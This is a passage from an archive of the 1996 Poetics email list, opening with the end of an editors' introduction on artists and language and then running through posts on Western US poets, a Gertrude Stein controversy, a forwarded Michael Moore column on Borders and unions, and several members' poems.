or collaborate with writers, thereby engaging in a complex, multilayered practice, where art and language intersect. This is similar to the practices of some of the most prominent members of the New York School of painting. As former co-editors of M/E/A/N/I/N/G as well as practicing artists, we have been committed to engaging in such a dual practice ourselves: we have often invited artists to write about issues and art of concern and relevance to their work. "Ripple Effects" is in a way a ripple effect of that involvement. We have invited some of the artists who first wrote for M/E/A/N/I/N/G to participate in this issue of New Observations as well as several other artists whose art practice involves language and writing as either subject or image of their artwork or as a parallel practice, or significant source of inspiration. We have encouraged them to extend the basic premise of the discussion in any direction of particular present relevance to their work. In the past, dictates of modernism — "Greenbergian" modernism, at least — have distanced painting from language. Even though the appearance of language through the use of collage was an important turning point in the development of modernist painting, as Brian O'Doherty observed in Inside the White Cube, "Without going into the attractive complexities of the letter and the word in modernism, they are disruptive." Certainly much avant-garde art, other than painting, has benefited from that "disruption," and for a while painting seemed to lose ground to these openly linguistic forms. However, in recent years we have seen the infusion of popular culture and multiple sources into the once sacred realm of the fine arts. The artists who are included in this issue have a variety of approaches to the subject of art and language. Some of these artists represent language directly in their work: Julia Jacquette writes of her first experience of viewing paintings which represented writing and how that influenced her subsequent work. Kay Rosen emphasizes the way typography and language structure interpretation and discusses her desire to exercise the science of linguistics in what for her is the more suitable field of visual art. Amy Sillman distinguishes the importance of language as speech and her paintings as figures of speech; Christian Schumann describes his sources, from comics to concrete poetry; Mira Schor notes her initial political goals in depicting language as a sign for female thought and her concerns for imbricating writing language and painting language. Kenneth Goldsmith tells how the purchase of a used copy of Abbie Hoffman’s Steal This Book inspired his subsequent artworks. Rochelle Feinstein discusses her use of words in painting and the grammar of painting. Jane Hammond explores painting itself, including the construction of painting as a language. Tom Knechtel and David Reed note the formative, constitutive importance of film, literature, and opera to their work. Faith Wilding writes of her interdisciplinary practice, where traditional painting language is but one of many languages used to communicate political and theoretical concerns. David Humphrey zeroes in on the relation of the concept of beauty to his paintings. Susan Bee writes about her

relationship to writing and editing and about her collaborations with writers and how it has influenced her artwork. Lucio Pozzi discusses the distinction between art and words and the development of his Word Works. Pamela Wye narrates a parable about writing and art, while Richard Tuttle contributes a manifesto-like list of sentences and a poem. Together, we think that these artists give some idea of the breadth and depth of the contemporary artists preoccupation and possible obsession with language and how it changed and influenced their visual work.

— Susan Bee and Mira Schor

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459. **Tom Beard**

Re: u.s. places, & elsewhere

Mon 25 Nov 1996

Interesting to discover that I live in "Continental Europe, and elsewhere" :-)

> *CONTINENTAL EUROPE, AND ELSEWHERE*
>
> *A BRIEF DESCRIPTION OF THE WHOLE WORLD, Alan Loney, 33A Komaru St, Remuera,*
> *Auckland, 1005, New Zealand*
> *SPORT, Box 11-806, Wellington, New Zealand*

Tom Beard.

↑ Index

460. **Loss Glazier**

Re: New Poetics Archive Features

Mon 25 Nov 1996

I've noted that a great way to search the archive is to limit by
author's e-mail address. This can help make a timely process somewhat
less timely. A good way to find out the e-mail address for someone is
to consult the online directory of poets available from the EPC home
page.

> http://writing.upenn.edu/epc/poetics
>
> This archive is up to the minute; that is, it will have this message as fast
> as you do. It also give you many sorting features but it is primarily
> organized around the subject header (it sort all messages with the same
> header together), another reason to be sure to check that the subject header

> is accurate when you send a message to the list. The archive covers March
> 1994 to present; earlier material (starting December 1993) will remain
> available at the EPC of course.

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461. **Aldon L. Nielsen**
Re: cutting the heroine
Mon 25 Nov 1996

Charles -- I had much the same reaction as yours to the Stein piece -- but Stein was hardly the only icon to rteceive such treatment -- The Tina Turner and Naomi Campbell pieces were certainly odd lots -- Does kind of make you wonder what the editors thought they were up to with this issue --

Hepburn got short, though laudatory, shrift -- too

↑ Index

462. **Aldon L. Nielsen**
Re: another dose of heroines
Mon 25 Nov 1996

---

and didya notice that letter to the ed. remarking that one can tell from the photo of the subject on the NY Times Sunday cover what the feelings of the editors are about their cover-subject? In the same issue that has THOSE photos of THEM!

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463. **Pierre Joris**
Re: heroines & such
Mon 25 Nov 1996

Well-done Charles! Writing those letters-to-the-editor is a drag, a drop in the yawning bucket but at times necessary ? & Ozick's stupidities merited it.

p.s. re West/poets: indeed essential to add to first volley (I'll hold on to Niedecker in some way as from out thar---) & indeed, from Welch to Mei-Mei via Rodney/Tarn -- it's a rich place & now I remember that i forgot to mention Simon Ortiz --

anyway, as an ind?crottable citizen of Luxembourg, I guess I have always defined the West as anything on the other side of Jersey -- & that means the island, not the "New," while as a one-time New Yorker I cannot forget the famous New Yorker's cartoon cover & its geographic forshortenings.

Some years ago I translated & published Sam Shepard's _Motel Chronicles_ in the "Collection Sixpack" I was editing for Christian Bourgois in Paris. I used a photo of Shepard standing next to a car in the middle of a burg in the middle of the western plains for the cover ? & wrote an introduction based on how different the american writer relates/stands in his/her geography, the wide open spaces, etc. (contrasting it with the traditional close-up head-shot of the French writer with cigarette against bookshelf), bringing in John Ford movies etc. When the book came out, the art director had without telling me & of course without reading the intro cropped the photo so that all you could see was a medium-shot of Shepard with all the wide-open western spaces cut out. I still wonder what people who read my intro & then looked at the cover thought I was talking about.
--
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://writing.upenn.edu/epc/authors/joris/
http://www.albany.edu/~tm0900/nomad.html

I do not believe that there ever was a question of being abstract or representational. It is really a matter of ending this silence and solitude, of breathing and stretching one's arms again.

Mark Rothko

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464. Pritchett,Pat
Re: heroines & such
Mon 25 Nov 1996

Bravo, Charles!

From: Charles Alexander
To: POETICS
Subject: heroines & such
Date: Monday, November 25, 1996 6:46PM

Poetics List:

Here is a copy of an email letter I just sent to the NYTimes Magazine, which among its entries in a special issue on "Heroine Worship" yesterday, published what I thought was a really awful bit on Gertrude Stein, written by Cynthia

Ozick. Perhaps silly to spend too much time on what the Times publishes, but it just made me angry.

charles alexander

>Date: Sun, 24 Nov 1996 05:12:24
>To: [redacted]
>From: Charles Alexander <[redacted]>
>Subject: heroines & such
>
>While there was some debunking of heroines, and in general a mix of loved icons & simply celebrities to be talked about, none of the featured subjects of your special issue on "Heroine Worship" (Nov. 24, 1996) seemed quite so dismissed by your authors as was Gertrude Stein by Cynthia Ozick. Ozick writes that no one now reads Stein, despite the recent appearance of a selected Stein (A STEIN READER, ed. by Ulla E. Dydo, Northwestern University Press, 1993). She puts Stein down as a "copycat Cubist" despite ample evidence that Stein is at least as much an innovator as any other artist tagged with the Cubist label; and Ozick writes that the "silly" (although she admits it's enchanting) "A rose is a rose is a rose. ..." is "almost all that is left of Gertrude Stein." This despite an ongoing celebration of Stein among writers, artists, and feminists, a growth in scholarship on Stein, and the sense among many of today's most innovative writers, such as Leslie Scalapino, that Stein's writing "is very much at the basis of current writing" (Scalapino, interviewed by Ed Foster, in TALISMAN No. 8).
>
>In Stein we see writing revealed as a process, indeed *as writing,* as much as a window onto something else, although with a great deal of insight into the workings of the mind, as well as a unique and intricate accounting of details in the world about her. In her development of abundant and delightful possibilities for writing, I would imagine that Stein will continue to be a germinal writer for many, for decades to come. Whether Cynthia Ozick has some private (or public) axe to grind, or whether she is deeply stupid, I can not say. But her comments are dangerous, as they would keep other readers stupid as to the delights and relevances of Gertrude Stein today.
>
>Charles Alexander
>101 W. Sixth St., no. 6
>Tucson, AZ 85701
>[redacted] (daytime phone)
>
>

---------- get off my back. the future fields into which I write are unimaginable. I do not know, any more than you do, what is around me, nor how far to go, nor precisely what I leave behind.

--Beverly Dahlen
from A Reading 8 - 10
published by Chax Press

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465. **Mark Roberts**

Re: u.s. places, & elsewhere

Mon 25 Nov 1996

> *Interesting to discover that I live in "Continental Europe, and elsewhere" :-)*
>
> *CONTINENTAL EUROPE, AND ELSEWHERE*
>
> *A BRIEF DESCRIPTION OF THE WHOLE WORLD, Alan Loney, 33A Komaru St, Remuera,*
> *Auckland, 1005, New Zealand*
> *SPORT, Box 11-806, Wellington, New Zealand*
>
> *Tom Beard.*

So the French were actually testing their bombs in continental europe after all.....

Mark (glowing from the Pacific rim)

Mark Roberts
Student Systems Project Officer
& User Representative SIS Team.
Information Systems
University of Sydney NSW 2006 Australia
Ph. (02) 93517710
Mobile 015063970
Fax (02) 93517711

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466. **Pam Brown**
cringe
Mon 25 Nov 1996

Interesting to discover that I live in "Continental Europe, and elsewhere" :-)

> *CONTINENTAL EUROPE, AND ELSEWHERE*
>
> *A BRIEF DESCRIPTION OF THE WHOLE WORLD, Alan Loney, 33A Komaru St, Remuera,*
> *Auckland, 1005, New Zealand*
> *SPORT, Box 11-806, Wellington, New Zealand*

Said Tom Beard....and the same for the wonderful Australian magazine "Otis Rush" Is this a reverse of the cultural cringe ??

Pam Brown

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467. **wystan**
Re: East
Mon 25 Nov 1996

Ron and others east of here, When I got to Philadelphia I thought I was in Europe it was so east. I was genuinely shocked, I'd flown into San Francisco, listened to Jimmy Smith at Shelly's Mannhole (??) got across to Oakland somehow and trained I don't know four days and nights in the same direction I couldn't believe that was possible and ended up in Europe. I'd not been to Europe at that stage, so I couldn't be completely sure, but everything was SO old and made of permanent materials it hardly mattered. When carpenters come here from Britain they discover that we nail houses together--which is what we do--differently, using techniques developed in the midwest? And our suburban house designs are mostly California derived? So west is New Zealand part of the time. On the other hand, if you want to be the first to see the sun rise on the new millenium you'd better get in touch with me. I know just the spot, on an island not far from here.

Wystan

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468. **k.a. hehir**
Re: the poets and land and landing poets
Mon 25 Nov 1996

On Sun, 24 Nov 1996, George Bowering wrote:

> *Aha! So some USAmericans stole the name _Grain_ off our Canadian litmag _Grain_ for their own purposes! Just goes to show.*

er... george, the Grain i was referring to. the one that got this thing going , arrives in my mailbox from regina. i don't recall anyone mentioning yet another manifestation of cultural imperialism.

kevin

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469. **Philip H. Sherburne**
Re: benjamin queries
Mon 25 Nov 1996

---

my understanding is that _One Way Street_ is still available from Verso in England, but that it's out of print in the US. Some selections from it, you may know, are included in _Reflections_ (Schocken).

philiphughsherburne
brownudeptofenglish
providenceriusofa

"regret is the processed cheese of emotion"
--bruce andrews

↑ Index

470. **George Bowering**
Re: West
Tue 26 Nov 1996

This morning the question of west came to me, in all its simplicity. Here is the way a person from the East may know when he/she has come to the West.

There is a ridge where the west commences!

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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471. Marjorie Perloff
Re: Philadelphia/California with Ron Silliman
Tue 26 Nov 1996

I too found Ron's meditation a total delight! As someone who moved the other way (5 years in Philadelphia, then California), I was especially amused at Ron's surprise (and his twins' surprise evidently) at the Mr./Mrs. label. As an Easterner, I found it totally shocking when I arrived in LA in 1977 and an unknown real estate man called up and said "Hi Marjorie." And the students at USC and now Stanford call me Narjorie without ever asking. I kind of prefer the Philly address but even that's not nearly as nice as in Paris where I'm called Madame. That would be my dream: to be called Madame all the time as in "Bonjour Madame," "bon weekend Madame." Ron, you'll end up finding the greater formality kind of nice after a bit.

So, au revoir Monsieur.

xxxxx
Marjorie

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472. Aldon L. Nielsen
Re: SF State Layoffs
Tue 26 Nov 1996

Can anybody provide further info. on the SF State English Dept. budget situation? At San Jose State we've been going through this for the last six years, but this year's budget seemed a bit better, and we are enrolling increasing numbers again (though we are not yet able to hire any new staff) -- Why is SF State getting worse this year?????

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473. Aldon L. Nielsen
Re: "of email"
Tue 26 Nov 1996

looks like Pound was early on this score too -- I had completely forgotten the following lines from _Personae_ till I spotted them again this evening:

There are many rooms and all of gold,
Of woven walls deep patterned, of email,
Of beaten work;

pg. 49 "The House of Splendour"

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474. George Bowering
Re: West
Tue 26 Nov 1996

> *But those of us who grew up in that region always*
> *considered Duluth the last NORTHERN city. Beyond was pine trees, loons, bears, wolves & snow. - HG*
> *2499 West 37th Ave.,*

Hey, that's not so funny. A couple years ago I was in Cleveland and there was a motto there about the place being on "America's North Coast" !!!

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

475. George Bowering
Re: western poets: Lew Welch
Tue 26 Nov 1996

> *Unless I missed it, nobody's mentioned Lew Welch. Ring of Bone, Collected Poems 1950-1971, Grey Fox Press. Try Song of the Turkey Buzzard. I never met him, but I've seen him fly over.*

You will have noticed that he didnt look at all like a poet; he looked like a guy from the west.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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476. George Bowering

Re: NZ

Tue 26 Nov 1996

Wystan, I follow what you say about things in eastern US being made of solid stuff. That's why Duluth is the start of the east, those old old brick buildings.

> *When carpenters come here from Britain they discover that we nail houses together--which is what we do--differently, using techniques developed in the midwest? And our suburban house designs are mostly California derived? So west is New Zealand part of the time.*

But that is a little loopy. I have been to NZ several times, both islands (both big islands) and I didnt see anything that looked like North America. It all looked more like Australia or South Africa. Sounded like it too, actually.

Except university buildings, eh? They are the same all over the damned world.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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477. Shaunanne Tangney

Re: West

Tue 26 Nov 1996

---

here is a poem--from quite a while ago--about spring and all, in
california's great central valley.
--shaunanne tangney

FLOODED

offering the soft spots
of poetry and underthigh
snapshots and inscriptions

i can't stand/do
masturbation because
first there are no kisses

the great central valley
opens all legs and wet
lies below me flooded

fertile and dangerous
is where our
relationship flounders

ragged asperagus
this year
nubs into

next year breedy
yielding yet another
cornucopia

of picked and packaged
handled
shipped and bought

i can't stand/do
masturbation because
there is no chance of

no danger of
produce the great
central valley

lies there can
only lie there
flooded like you

with me and petty
dismisals and
grand embraces

leave us leveed
high grounded
and dammed

(March, 1995)

pretty anthropomorphic, i know--but i always have that question of the gaze of all "nature," "place" "landscape" poetry. a tough question, and one i am not really trying to answer--just thought i'd throw a poem into the mix--

best,
shaunanne

↑ Index

478. **Michael Boughn**
Re: West
Tue 26 Nov 1996

> *This morning the question of west came to me, in all its simplicity. Here is the way a person from the East may know when he/she has come to the West.*
>
> *There is a ridge where the west commences!*

Yes, but isn't there also some requirement about gazing at the moon till you lose your senses?

(Jack Clarke once said that John Weiners had become the moon.)

Wagons Ho!
Mike
[redacted]

↑ Index

479. **Michael Boughn**
Re: Philadelphia/California with Ron Silliman
Tue 26 Nov 1996

> *That would be my dream: to be called Madame all the time as in "Bonjour Madame," "bon weekend Madame." Ron, you'll end up finding the greater formality kind of nice after a bit.*
>
> *xxxxx*
> *Marjorie*

Those of us who were born and grew up in California have a natural preference for the title "hon", as in "whata ya want with your eggs, hon, bacon or sausage?" The Madams all lived in Nevada.

Mike
[redacted]

↑ Index

480. **Rachel Loden**
Re: East
Tue 26 Nov 1996

---

wystan wrote:

> *everything was SO old and made of permanent materials it hardly mattered.*

George B. wrote:

> *Wystan, I follow what you say about things in eastern US being made of solid stuff.*

Ah, but just wait until the monster east coast quake comes (and they say it will come) to find out how solid and permanent all that brick is.

I realized I was a Californian (again, being seriously bicoastal) after the '89 quake, when awoken by an aftershock, thought "Oh, only a 5.0," turned over and went back to sleep.

I'm sure I can't be the only one to have written a Cockettes poem?

Rachel Loden

↑ Index

481. **Michael Boughn**
Re: East
Tue 26 Nov 1996

> *I realized I was a Californian (again, being seriously bicoastal) after the '89 quake,*
>
> *Rachel Loden*

Rachel, please, "bicoastal"? This is not the proper place to reveal such intimate secrets about your private life. Who do you think you are, Ashley MacIsaac ?

Modestly,
Mike
[redacted]

↑ Index

482. **Rachel Loden**
Re: East
Tue 26 Nov 1996

Blushingly modest Michael Boughn wrote:

> *Who do you think you are, Ashley MacIsaac ?*

You mean Ashley "Sex! Sex! Sex! - And now that I've got your attention I've got this car for sale" MacIsaac?

Let me ask you--ever seen both of us at the same time?

Rachel

↑ Index

483. Robert Archambeau
Re: Lentricchia and Rorty (?)
Tue 26 Nov 1996

The Rorty article I mentioned is (provocatively, to some) called "The Inspirational Value of great Works of Literature" and is in Raritan XVI:i Summer '96. Rorty doesn't renounce the thoerist's calling like Lentricchia, he seeks to define a philosophical basis for the value or privilege of literature, and positions himself against what he sees as the excesses of cultural studies.

Robert Archambeau

↑ Index

484. William Slaughter
Lentricchia and Rorty (?)
Tue 26 Nov 1996

A short while back there was a short thread on this list, if my memory serves, about Frank Lentricchia's "renunciation" of theory piece in the current issue of _Lingua Franca_. If memory serves, somebody mentioned that Richard Rorty had something like Lentricchia's piece in a current or recent issue of some other journal. If that is so, will some one among you, reading this, please tell me the name of that other journal. Thank you.

William Slaughter

_____

[redacted]

↑ Index

485. Judy Roitman
Re: West
Tue 26 Nov 1996

> *This morning the question of west came to me, in all its simplicity. Here is the way a person from the East may know when he/she has come to the West.*
>
> *There is a ridge where the west commences!*
>
> *George Bowering.*

Nope, gullies.

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

↑ Index

486. Jeff Hansen
(no subject)
Tue 26 Nov 1996

Yesterday, Maria Damon kindly mentioned Poetic Briefs as a Twin Cities mag, and gave our old address. Poetic Briefs' new address is 4055 Yosemite Ave., St. Louis Park, MN 55416.

Thank you

jeff

↑ Index

487. Alexis Larson
<My First American Thanksgiving>
Tue 26 Nov 1996

No politico/philosophical comment intended here, just a bit of life rammed by tongue into cheek...

<My First American Thanksgiving>

In typically American fashion
you are constitutionally unable to fathom
that Thanksgiving could be observed
on some other day than
the last Thursday in November.

Your ways amaze and amuse me --
the right-palm-planted-over-heart patriotism
the cornucopia of chemical-rich comestibles
political persuasion as a pre-nuptial line of inquiry
unshakable faith in good old American know-how.

I come from an apologetic nation
devoid of the trappings of confidence
explaining political turmoil through shiver-clenched teeth

petulant in two official languages
good old American protectionism her role model.

My Thanksgiving traditions have consisted of
overeating to the point of stupefaction
thanks due and paid through taxes
servitude to the gods of betrayal
and abandonment of art.

By a twist of fate that is the stuff of
tales our grandchildren will tell
long after our last breath has expired
today I shall give thanks for the moment and
in advance for all the years to come

just to be on the safe side.

~Lex

Alexis Larson
<[redacted]>
writer--editor--hired pen

↑ Index

488. **Burt Kimmelman**

Call for help

Tue 26 Nov 1996

From: MX%"[redacted]" 26-NOV-1996 06:17:59.82
To: MX%"[redacted]"
CC:
Subj: Editors and Advertisers

Date: Tue, 26 Nov 1996 06:09:52 -0500
Publishing" <[redacted]>
From: Tom Pendergast <[redacted]>
Subject: Editors and Advertisers
To: Multiple recipients of list SHARP-L <[redacted]>

One of the most difficult problems I have encountered in writing my dissertation on gender roles in American magazines from 1900 to 1950 is trying to reconstruct the influence that advertisers had in shaping the editorial content of magazines. I wonder if list members might steer me in the direction of existing scholarship that addresses this general issue.

I am interested in two kinds of influence that advertisers may have had. The first would be direct influence, in which an advertiser promises a certain number of spots in exchange for favorable mention of his/her client's products. The second (and for me the most intriguing) would be indirect influence, in which the presence of ads with a certain agenda encourages the editor to mold editorial content to somehow correspond, or synchronize, with that agenda.

Any works that attempt to document or theorize this relationship would be helpful. Also I'd be interested in further discussion with anyone interested in exploring the topic further.

Thanks,

Tom Pendergast
American Studies
Purdue University

↑ Index

489. **Jordan Davis**
Williams' prosody and/or linebreaks
Tue 26 Nov 1996

Anybody know
of any work that
deals
intelligently
and clearly
with William Carlos
Williams' prosody
and/or
linebreaks?

Hunkered,
Jordan

↑ Index

490. **Pritchett,Pat**
Re: the poets and land and landing poets
Tue 26 Nov 1996

Thanks for the thoughtful post Stephen. Your comments about the Great Basin seem quite on the mark to me - it's history (and the West's in general) is largely a history of ransacking and despoilment (nothing new there, eh?). The so-called "New West" historians, like Patricia Nelson Limerick and Donald Worster, have written extensively about this, superseding romantic narratives of cowboys and

rugged pioneers with the history of corporate mining interests, the struggle of land barons to control water rights (without which hydrology none of us wld be here in the West right now) and so forth.

Patrick Pritchett

From: Steph4848
To: POETICS
Subject: Re: the poets and land and landing poets
Date: Saturday, November 23, 1996 8:40PM

In response to part one of "my query is twofold. are there any western american writers that i could read that use the harsh isolation as a springboard for verse. (i don't mean cowboy poetry?" What I think is difficult about this query is an assumed "harsh isolation" definition of the circumstance of "western writing." I suspect the idea of "harsh isolation" and "the west" is not about western writing in any large geographic sense. For example it doesn't apply to the Pacific Slope or the California side of at least the northern parts of the Sierra - which hisitorically has been much associated with notions of the sublime, nature's land of plenty, Eden etc. And it doesn't apply to the southwest - New Mexico, Arizona, at least the geographic parts of those states that that have strong non-Anglo Hispanic and Indian presences - Anastasi, Hopi, Navajo etc. - and all the attendant histories and myths. The "harsh isolation" gets more attached to Nevada's Great Basin - and its various "high desert" extensions into Oregon, Washington, Idaho, Colorado, Sothern California, etc. - where the "bleakness" appears to be much less impacted by "cultures" - Indian, Anglo or otherwise. Though I'm not as familiar with the plains states, from Dakotas to Texas, "The harsh isolation" there perhaps has a different character. I would agree that Ed Dorn, Ken Irby - students of Olson - have purposely "lived" through the land (its history, geological patterns and shapes, etc.) and written moving work within that scope in which the individual, and his moves, are directly shaped, by the facts of the landscape. In terms of the Great Basin, however, the myth of "harsh isolation" - its bleakness as a back drop or set to the personal experience - belies the history of the use of the space. Most every square inch of the Great Basin has been scoped and used for its mineral and underground water wealth. Much less visibly the military (for nuclear testing, bombing practice) maintains a huge presence across the terrain. (I think the military owns about 80% of Nevada).The land's isolation is belied by corporate, government and military habitation. Some of the prose writers (Terry Tempest Williams) have gone after the cancerous nuclear consequences of this impact. But I believe its the photographers (Robert Adams, Peter Goins, Mark Klett - and other members of the "rephotography project - and Richard Misrach) who have done the investigating - some of it quite brave - and taken a close look at the facts of what has occured

within these parts of the West. Among current poets, Laura Moriarty has some great stuff about some of these landscapes. Occasionally I think Kirk Robertson - the current poet laureate of Nevada - captures the character of living within "basin and range." This is a windy answer. Primarily I want to suggest that "harsh isolation" puts a personal and lyric limit on a area of the west that is much more complicated and pivotal (economically, culturally, etc.) in terms of national consequence - and its probably a good question as to why more poets -- to my knowledge - in the large have not touched on the subject, and photographers have. Yes -- re Kevin Killian -- the current show, CROSSING THE FRONTIER (Sandy Phillips, curator), an exploration of the use of the land in 19th and 20th Century photographs (from the 100th Meridian to the Pacific) is a wonderful and disturbing show at SF Museum of Modern Art- of which there is a good catalog published by Chronicle Books. Not without elegance, it is a definitely a post-sublime view and interpretation of Western landscapes.

Stephen Vincent

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491. **Charles Alexander**

Re: cutting the heroine

Tue 26 Nov 1996

At 03:24 PM 11/25/96 -0800, you wrote:
>Charles -- I had much the same reaction as yours to the Stein piece --
>but Stein was hardly the only icon to rteceive such treatment -- The Tina
>Turner and Naomi Campbell pieces were certainly odd lots -- Does kind of
>make you wonder what the editors thought they were up to with this issue --
>
>Hepburn got short, though laudatory, shrift -- too

Yes, I agree. Particularly Tina Turner was insulted, I thought. In fact some of the treatment made me wonder if there was some underlying agenda to denigrate heroines in general.

charles

---------- get off my back. the future fields into which I write are unimaginable. I do not know, any more than you do, what is around me, nor how far to go, nor precisely what I leave behind.

--Beverly Dahlen
from A Reading 8 - 10
published by Chax Press

↑ Index

492. **Bob Gale**

More on Borders and Moore

Tue 26 Nov 1996

This short report by Michael Moore and his recent run in with Borders has been making the rounds lately, but I haven't seen it here yet (my apologises if I overlooked it). Even though there has been some discussion already on this list about this Michael and Borders, this message seemed the most informative account I've read yet.

Peace,
Bob

> *------- Start of forwarded message -------*
> *From: Eric Stajda <[redacted]>*
> *Newsgroups: alt.union.natl-writers*
> *Subject: About Borders Books...*
> *Date: Thu, 21 Nov 1996 11:38:09 -0500*
> *Organization: University of Michigan*
> *Message-ID: <[redacted]>*
> *Reply-To: [redacted]*
>
> *Banned by Borders*
> *-- By Michael Moore*
>
> *On November 9, as I write this, I was supposed to have been at the Borders bookstore in Fort Lauderdale, Florida, speaking and signing copies of my book Downsize This! Random Threats from an Unarmed American. It was to have been the final stop of my forty-seven-city tour. But on October 30 I was told that the book-signing had been canceled. The Fort Lauderdale Borders had received a memo from its corporate headquarters in Ann Arbor, Michigan, banning me from speaking or signing at any Borders store in the country.*
>
> *When I was growing up in Michigan, the original Borders was a store that actively championed free expression. In fact, when I was publishing the Michigan Voice, Borders would carry my paper when other establishments would not. Now, Borders is a huge nationwide chain, and its "liberal" views have earned it the reputation as the "Ben & Jerry's of the book chains."*
>
> *So why was I banned from Borders? My book was doing well. It has been on the New York Times best-seller list for a month and was the number two best-selling Random House book for the entire Borders chain. I've been banned, I found out, because I made the mistake of uttering a five-letter word, the dirtiest word in all of corporate America -- "union."*

Back in September, on the second day of my tour, when I arrived at the Borders store in downtown Philadelphia, I found nearly 100 people picketing the place because Borders had fired a woman named Miriam Fried. She had led a drive to organize workers at the store into a union. The effort failed, and, a few weeks later, Miriam was given the boot.

When I found this out I told the Borders people that I have never crossed a picket line and would not cross this one. I asked the demonstrators if they wanted to take the protest inside. They thought it was a good idea. I had no desire to cause a ruckus, so I asked Borders management if it was O.K. to allow the protesters in. They said yes. So we all came into the store, I gave my talk, I gave Miriam the microphone so she could talk, everyone behaved themselves and it was a good day all around -- including for Borders, which ended up selling a lot of books, breaking the record for a noontime author at that location. (The record had been held by George Foreman, and I now like to tell people only Ali and I have beaten Foreman.) I also announced that I would donate all my royalties for the day to help Miriam out.

Although Anne Kubek, Borders' corporate V.P. in charge of labor relations, had approved my bringing the protesters inside, upper management decided that she had made a mistake -- and they were going to take it out on me. On the following Tuesday I was scheduled to speak at the new Borders store in New York's World Trade Center. When I arrived, I was met by two Borders executives. They had flown in from Michigan just to stop me from speaking. The executives, flanked by two security guards, explained that I could come into the store and sign books, but I would not be allowed to talk to the people who had come to hear me. They said that the "commotion" I had caused in Philly raised "security concerns." I couldn't believe I was being censored in a bookstore.

The Borders manager told the assembled crowd that I would not be speaking because "Port Authority police and fire marshals have banned all daytime gatherings at Borders." When I heard this, I stepped forward and told the people this was a lie, that I was forbidden to speak because of my support for the workers in Philly. Under protest, I signed the books of those who stayed -- beneath a big banner celebrating "Banned Books Week."

On October 13, I spoke to a large crowd in a Des Moines auditorium. After the speech I went out front and started signing books. "What store are these from?" I innocently asked. "Oh, these are from the local Borders," I was told. Well, I thought, they don't mind if I make them some money -- as long as it's not on their premises! Then someone slipped me an anonymous note. It read: "We are employees of the Des Moines Borders. We were told that we could not work the book table tonight, that only management was working the table, because they said

they wanted to 'protect us' from you."

An hour later, I went out to the parking lot and saw some people standing there in the dark -- the employees from the Des Moines Borders! They said they were hiding out there because they had spotted Borders' regional director with another man inside. "He flew in to spy on you, or us, or both," they told me. "He saw us so we may not have jobs on Monday." (Bookstore employees afraid they might be fired for attending a public speech at the Herbert Hoover High School auditorium!) The executive had not introduced himself to me -- or his colleague, who employees believe is a unionbusting "consultant" hired by Borders.

I wished the workers well, and the next night they held their first union meeting. The previous week, the Borders store in the Lincoln Park section of Chicago had become the first Borders in the country to vote in a union (United Food and Commercial Workers). Recently, workers in Des Moines signed enough cards to hold a union election. It is a victory that should inspire not only Borders workers but underpaid employees everywhere. That's why I am not in Fort Lauderdale as I write this. Borders is "protecting" its workers from me.

Well, they're really going to need protection now. First, I am donating my royalties from the next 1,000 sales of Downsize This! to the organizing drive at Borders. Second, I am asking each of you to support the Borders workers in your city. Bring up the union when you're in the store and thank that kid with the nose ring and green hair for helping to revive the labor movement in America.

Note to Borders Executives: If, after this column is published, you retaliate by removing my book from your shelves, or hiding it in the "humor" section or underreporting its sales to the New York Times list, I will come at you with everything I've got. You sandbagged me in Philly, and the only decent way for you to resolve this is to give Miriam Fried her job back and let the workers form their union without intimidation or harassment.

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------- End of forwarded message -------

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493. **Pritchett,Pat**

Re: Cras(s)h

Tue 26 Nov 1996

Pierre & all,

According to the latest New Yorker, "Crash" will open in the US next March. Apparently, the Lords of Media at Time-Warner have overruled Ted Turner. But this latest manifestation of censorship via media congllomerate-consolidation is certainly ominous.

Patrick Pritchett

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494. **Christina Fairbank Chirot**

Re: West

Tue 26 Nov 1996

Western writers that come to mind: Wendy Rose, Leslie Marmon Silko, Simon Ortiz, Joseph Bruchac.

Wendy Rose has written some powerful poems about a Westerner visiting the East-- And from the East--presenting trajetories West, South and North-- Paul Metcalf.

minisink appoquinimink portage at pemaquid,
succabonk pagganck thence up the damriscotta
macheepaconaponsuck to sheepscot waters

moose scook
sneech sag
sip
scug
tug tist
slank
puss cuss
--Apalache

↑ Index

495. **Michael Boughn**
Re: Lentricchia and Rorty (?)
Tue 26 Nov 1996

> *A short while back there was a short thread on this list, if my memory serves, about Frank Lentricchia's "renunciation" of theory piece in the current issue of _Lingua Franca_. If memory serves, somebody mentioned that Richard Rorty had something like Lentricchia's piece in a current or recent issue of some other journal. If that is so, will some one among you, reading this, please tell me the name of that other journal. Thank you.*
>
> *William Slaughter*
>
> _____
> [redacted]

I wasn't involved in that thread, but I recently read a piece by Rorty in the current issue of _Raritan_ XVI:1 (Summer 1996). The essay was called "The Inspirational Value of Great Works of Literature". It may be a different piece than the one mentioned, as this was intended as an anti-Platonic, pragmatist defense of the ideas of "inspiration" and "great literature", not a renunciation of anything. Rorty writes:

Inspirational value is typically _not_ produced by operations of a method, a science, a discipline, or a profession. . . If it is to have inspirational value, a work must be allowed to recontextualize much of what you had known; it cannot, at least at first, be itself recontextualized by what you already knew.

Later, he discusses the "endless attempt to make the intellect sovereign over the imagination." I suppose that could be construed as a critique of certain forms of "theory", or certain practices.

I actually found it pretty inspirational.

Mike
[redacted]

↑ Index

496. **Eryque Gleason**
Re: Philadelphia/California with Ron Silliman
Tue 26 Nov 1996

what part of california? in the four years or so that i lived in fresno the only person to ever call me hon was my grandmother, and that was long distance from chicago.

~e

On Tue, 26 Nov 1996, Michael Boughn wrote:

> *That would be my*
> *dream: to be called Madame all the time as in "Bonjour Madame," "bon weekend Madame." Ron, you'll end up finding the greater formality kind of nice after a bit.*
>
> *xxxxx*
> *Marjorie*
>
> *Those of us who were born and grew up in California have a natural preference for the title "hon", as in "whata ya want with your eggs, hon, bacon or sausage?" The Madams all lived in Nevada.*
>
> *Mike*
> [redacted]

↑ Index

497. **groberts**
